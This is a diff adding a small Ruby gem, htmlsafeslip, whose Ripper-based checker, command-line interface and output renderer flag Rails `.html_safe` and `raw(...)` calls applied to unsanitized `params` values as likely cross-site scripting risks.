+ paths.flat_map { |path| scan_file(path) }
76
+ end
77
+
78
+ private
79
+
80
+ attr_reader :paths
81
+
82
+ def scan_file(path)
83
+ source = File.read(path)
84
+ sexp = Ripper.sexp(source)
85
+ return [] unless sexp
86
+
87
+ lines = source.lines
88
+ findings = []
89
+
90
+ each_method_node(sexp) do |class_name, def_node|
91
+ start_line = min_line(def_node)
92
+ end_line = max_line(def_node)
93
+ next unless start_line && end_line
94
+
95
+ method_name = def_name(def_node)
96
+ body_source = lines[(start_line - 1)...end_line].join
97
+
98
+ param_vars = build_param_vars(body_source)
99
+
100
+ scan_html_safe(findings, path, body_source, start_line, param_vars,
101
+ class_name: class_name, method_name: method_name)
102
+ scan_raw(findings, path, body_source, start_line, param_vars,
103
+ class_name: class_name, method_name: method_name)
104
+ end
105
+
106
+ findings
107
+ end
108
+
109
+ # Builds a {var_name => sanitized?} map for every `var = ...`
110
+ # assignment in this method body that originates from params (directly
111
+ # or via a sanitize-shaped wrapper), in textual order so a later
112
+ # reassignment wins.
113
+ def build_param_vars(body_source)
114
+ param_vars = {}
115
+
116
+ body_source.to_enum(:scan, ASSIGN_RE).each do
117
+ match = Regexp.last_match
118
+ var_name = match[1]
119
+ value_text = match[2]
120
+ param_vars[var_name] = value_text.strip.match?(SANITIZED_SHAPE)
121
+ end
122
+
123
+ param_vars
124
+ end
125
+
126
+ def scan_html_safe(findings, path, body_source, start_line, param_vars, class_name:, method_name:)
127
+ body_source.to_enum(:scan, HTML_SAFE_CALL).each do
128
+ match = Regexp.last_match
129
+ receiver = match[1].strip
130
+
131
+ status = analyze(receiver, param_vars)
132
+ next unless status == :traced_unsanitized
133
+
134
+ add_finding(findings, path, body_source, match, start_line,
135
+ class_name: class_name, method_name: method_name,
136
+ kind: "html_safe", receiver: receiver)
137
+ end
138
+ end
139
+
140
+ def scan_raw(findings, path, body_source, start_line, param_vars, class_name:, method_name:)
141
+ body_source.to_enum(:scan, RAW_CALL).each do
142
+ match = Regexp.last_match
143
+ arg = match[1].strip
144
+ next if arg.empty?
145
+
146
+ status = analyze(arg, param_vars)
147
+ next unless status == :traced_unsanitized
148
+
149
+ add_finding(findings, path, body_source, match, start_line,
150
+ class_name: class_name, method_name: method_name,
151
+ kind: "raw", receiver: arg)
152
+ end
153
+ end
154
+
155
+ # Classifies a receiver/argument expression as:
156
+ # :sanitized -- wrapped in sanitize/strip_tags/h/html_escape
157
+ # :traced_unsanitized -- traceable to params with no sanitization
158
+ # :not_traced -- a literal, an ivar/attribute chain, or an
159
+ # unrelated local variable (documented
160
+ # out-of-scope cases)
161
+ def analyze(text, param_vars)
162
+ return :sanitized if text.match?(SANITIZED_SHAPE)
163
+ return :traced_unsanitized if text.match?(PARAMS_SHAPE)
164
+ return :not_traced if text.match?(STRING_LITERAL_SHAPE)
165
+
166
+ if text.match?(BARE_IDENT_SHAPE)
167
+ return :not_traced if text.start_with?("@")
168
+ return :not_traced unless param_vars.key?(text)
169
+
170
+ return param_vars[text] ? :sanitized : :traced_unsanitized
171
+ end
172
+
173
+ # Anything else (a dotted attribute chain like `@user.bio`, a method
174
+ # call we don't specifically recognize, etc.) is not traceable to
175
+ # params in this same-method pass -- see DETAILS.md for the
176
+ # documented database/model-attribute scope limitation.
177
+ :not_traced
178
+ end
179
+
180
+ def add_finding(findings, path, body_source, match, start_line, class_name:, method_name:, kind:, receiver:)
181
+ line = start_line + body_source[0...match.begin(0)].count("\n")
182
+
183
+ call_text = kind == "html_safe" ? "#{receiver}.html_safe" : "raw(#{receiver})"
184
+
185
+ findings << Finding.new(
186
+ code: "HS001",
187
+ klass: class_name,
188
+ method: method_name,
189
+ kind: kind,
190
+ receiver: receiver,
191
+ file: path,
192
+ line: line,
193
+ message: "#{call_text} marks a value traceable to `#{receiver}' in " \
194
+ "#{method_name ? "##{method_name}" : "this method"} as already-safe HTML, with no " \
195
+ "sanitize(...)/strip_tags(...)/h(...)/ERB::Util.html_escape(...) call applied to it first -- " \
196
+ "this defeats Rails' default auto-escaping entirely, so a <script>...</script> (or any other HTML) " \
197
+ "payload in this value executes live, the instant it's rendered. Run it through sanitize(...) or " \
198
+ "strip_tags(...) before marking it safe, or drop #{kind == "html_safe" ? ".html_safe" : "raw(...)"} " \
199
+ "and let Rails auto-escape it. See DETAILS.md."
200
+ )
201
+ end
202
+
203
+ # Yields (enclosing_class_name, def_node) for every `def` node found
204
+ # anywhere in the file, tracking the nearest enclosing `class` name
205
+ # (nil if the method sits outside any class).
206
+ def each_method_node(node, class_name = nil, &block)
207
+ return unless node.is_a?(Array)
208
+
209
+ if node[0] == :class
210
+ name = const_name(node[1]) || class_name
211
+ node.each { |child| each_method_node(child, name, &block) }
212
+ return
213
+ end
214
+
215
+ block.call(class_name, node) if node[0] == :def || node[0] == :defs
216
+
217
+ node.each { |child| each_method_node(child, class_name, &block) }
218
+ end
219
+
220
+ # Handles both a plain instance `def foo` node ([:def, ident, params,
221
+ # bodystmt]) and a singleton `def self.foo` node ([:defs, recv, period,
222
+ # ident, params, bodystmt]) -- the ident sits at a different index.
223
+ def def_name(def_node)
224
+ ident = def_node[0] == :defs ? def_node[3] : def_node[1]
225
+ ident.is_a?(Array) && ident[0] == :@ident ? ident[1] : nil
226
+ end
227
+
228
+ def const_name(node)
229
+ parts = []
230
+ collect_const_leaves(node, parts)
231
+ parts.empty? ? nil : parts.join("::")
232
+ end
233
+
234
+ def collect_const_leaves(node, acc)
235
+ return unless node.is_a?(Array)
236
+
237
+ acc << node[1] if node[0] == :@const && node[1].is_a?(String)
238
+ node.each { |child| collect_const_leaves(child, acc) }
239
+ end
240
+
241
+ def min_line(node)
242
+ lines = []
243
+ collect_lines(node, lines)
244
+ lines.min
245
+ end
246
+
247
+ def max_line(node)
248
+ lines = []
249
+ collect_lines(node, lines)
250
+ lines.max
251
+ end
252
+
253
+ # Ripper.sexp attaches a trailing [line, column] position array to
254
+ # every leaf token node. Recursively collecting every such position
255
+ # within a subtree gives an honest (if approximate) line span for that
256
+ # node without a second, regex-based pass over raw source.
257
+ def collect_lines(node, acc)
258
+ return unless node.is_a?(Array)
259
+
260
+ if node.length == 2 && node.all? { |x| x.is_a?(Integer) }
261
+ acc << node[0]
262
+ return
263
+ end
264
+
265
+ node.each { |child| collect_lines(child, acc) }
266
+ end
267
+ end
268
+ end
@@ -0,0 +1,47 @@
1
+ require "optparse"
2
+
3
+ module Htmlsafeslip
4
+ module CLI
5
+ module_function
6
+
7
+ def run(argv, out: $stdout, err: $stderr)
8
+ command, *rest = argv
9
+
10
+ case command
11
+ when "check"
12
+ check(rest, out: out, err: err)
13
+ else
14
+ err.puts "usage: htmlsafeslip check <dir-or-file.rb> [<dir-or-file.rb> ...] [--json]"
15
+ 2
16
+ end
17
+ end
18
+
19
+ def check(argv, out:, err:)
20
+ options = { json: false }
21
+
22
+ parser = OptionParser.new do |opts|
23
+ opts.banner = "usage: htmlsafeslip check <dir-or-file.rb> [...] [--json]"
24
+ opts.on("--json", "emit JSON instead of text") { options[:json] = true }
25
+ end
26
+
27
+ begin
28
+ parser.parse!(argv)
29
+ rescue OptionParser::ParseError => e
30
+ err.puts "htmlsafeslip: #{e.message}"
31
+ return 2
32
+ end
33
+
34
+ if argv.empty?
35
+ err.puts parser.banner
36
+ return 2
37
+ end
38
+
39
+ paths = argv.flat_map { |a| File.directory?(a) ? Dir.glob(File.join(a, "**", "*.rb")) : a }
40
+ findings = Htmlsafeslip.check(paths: paths)
41
+
42
+ out.puts(options[:json] ? Render.json(findings) : Render.text(findings))
43
+
44
+ findings.empty? ? 0 : 1
45
+ end
46
+ end
47
+ end
@@ -0,0 +1,23 @@
1
+ module Htmlsafeslip
2
+ # A single detected `.html_safe`/`raw(...)` call site applied to a value
3
+ # traceable (same-method) to `params[...]`/`params.dig(...)` with no
4
+ # sanitization call applied to it first.
5
+ #
6
+ # code: "HS001" every finding uses this single code (one rule: an
7
+ # unsanitized, params-traceable value marked safe for raw HTML
8
+ # rendering)
9
+ # klass: the enclosing class name the call site was found in (nil if
10
+ # the call site sits outside any class)
11
+ # method: the enclosing method name, e.g. "show"
12
+ # kind: which unescaping mechanism was used -- "html_safe" or "raw"
13
+ # receiver: the receiver/argument text that was marked safe, e.g.
14
+ # "params[:bio]", "bio", or "params.dig(:user, :bio)"
15
+ # file: path to the source file
16
+ # line: line number of the offending call
17
+ # message: a human-readable description
18
+ Finding = Struct.new(:code, :klass, :method, :kind, :receiver, :file, :line, :message, keyword_init: true) do
19
+ def to_h
20
+ { code: code, klass: klass, method: method, kind: kind, receiver: receiver, file: file, line: line, message: message }
21
+ end
22
+ end
23
+ end
@@ -0,0 +1,21 @@
1
+ require "json"
2
+
3
+ module Htmlsafeslip
4
+ module Render
5
+ module_function
6
+
7
+ def text(findings)
8
+ return "htmlsafeslip: no unsanitized params-to-html_safe/raw findings" if findings.empty?
9
+
10
+ lines = findings.map do |f|
11
+ call_text = f.kind == "html_safe" ? "#{f.receiver}.html_safe" : "raw(#{f.receiver})"
12
+ "[#{f.code}] #{f.file}:#{f.line} #{call_text} -- #{f.klass ? "#{f.klass}#" : ""}#{f.method}: #{f.message}"
13
+ end
14
+ (["htmlsafeslip: #{findings.size} finding(s)"] + lines).join("\n")
15
+ end
16
+
17
+ def json(findings)
18
+ JSON.generate(findings: findings.map(&:to_h))
19
+ end
20
+ end
21
+ end
@@ -0,0 +1,3 @@
1
+ module Htmlsafeslip
2
+ VERSION = "0.1.0"
3
+ end
@@ -0,0 +1,18 @@
1
+ require_relative "htmlsafeslip/version"
2
+ require_relative "htmlsafeslip/finding"
3
+ require_relative "htmlsafeslip/checker"
4
+ require_relative "htmlsafeslip/render"
5
+
6
+ module Htmlsafeslip
7
+ class << self
8
+ # Scans Ruby source files for a `.html_safe`/`raw(...)` call on a value
9
+ # traceable (same-method) to `params[...]`/`params.dig(...)`, with no
10
+ # sanitization call applied to that value first.
11
+ #
12
+ # @param paths [Array<String>] paths to .rb files to parse
13
+ # @return [Array<Htmlsafeslip::Finding>]
14
+ def check(paths:)
15
+ Checker.new(paths: paths).call
16
+ end
17
+ end
18
+ end
metadata ADDED
@@ -0,0 +1,86 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: htmlsafeslip
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.0
5
+ platform: ruby
6
+ authors:
7
+ - Jay
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2026-10-21 00:00:00.000000000 Z
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: rspec
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - "~>"
18
+ - !ruby/object:Gem::Version
19
+ version: '3.13'
20
+ type: :development
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - "~>"
25
+ - !ruby/object:Gem::Version
26
+ version: '3.13'
27
+ description: |
28
+ htmlsafeslip parses Ruby source with Ripper to find a call to
29
+ `.html_safe` directly on an expression, or a `raw(...)` wrapping one,
30
+ where that expression is traceable (directly, or via a same-method
31
+ local-variable assignment) to `params[...]`/`params.dig(...)`, with no
32
+ `sanitize(...)`/`strip_tags(...)`/`h(...)`/`ERB::Util.html_escape(...)`
33
+ call applied to it first. Both `.html_safe` and `raw(...)` tell Rails'
34
+ view layer "this string is already safe HTML, don't auto-escape it" --
35
+ calling either directly on unsanitized, user-controlled input defeats
36
+ Rails' single biggest built-in XSS defense, turning a reflected or
37
+ stored script-tag payload into live, executing HTML the instant it's
38
+ rendered.
39
+ email:
40
+ executables:
41
+ - htmlsafeslip
42
+ extensions: []
43
+ extra_rdoc_files: []
44
+ files:
45
+ - DETAILS.md
46
+ - Gemfile
47
+ - LICENSE
48
+ - README.md
49
+ - docs/USAGE.md
50
+ - examples/app/controllers/comments_controller.rb
51
+ - examples/app/controllers/fixed_comments_controller.rb
52
+ - exe/htmlsafeslip
53
+ - htmlsafeslip.gemspec
54
+ - lib/htmlsafeslip.rb
55
+ - lib/htmlsafeslip/checker.rb
56
+ - lib/htmlsafeslip/cli.rb
57
+ - lib/htmlsafeslip/finding.rb
58
+ - lib/htmlsafeslip/render.rb
59
+ - lib/htmlsafeslip/version.rb
60
+ homepage: https://github.com/jay-tank/htmlsafeslip
61
+ licenses:
62
+ - MIT
63
+ metadata:
64
+ homepage_uri: https://github.com/jay-tank/htmlsafeslip
65
+ source_code_uri: https://github.com/jay-tank/htmlsafeslip
66
+ post_install_message:
67
+ rdoc_options: []
68
+ require_paths:
69
+ - lib
70
+ required_ruby_version: !ruby/object:Gem::Requirement
71
+ requirements:
72
+ - - ">="
73
+ - !ruby/object:Gem::Version
74
+ version: 3.0.0
75
+ required_rubygems_version: !ruby/object:Gem::Requirement
76
+ requirements:
77
+ - - ">="
78
+ - !ruby/object:Gem::Version
79
+ version: '0'
80
+ requirements: []
81
+ rubygems_version: 3.3.5
82
+ signing_key:
83
+ specification_version: 4
84
+ summary: Flags .html_safe/raw(...) calls on a value traceable to params[...] with
85
+ no sanitization applied first.
86
+ test_files: []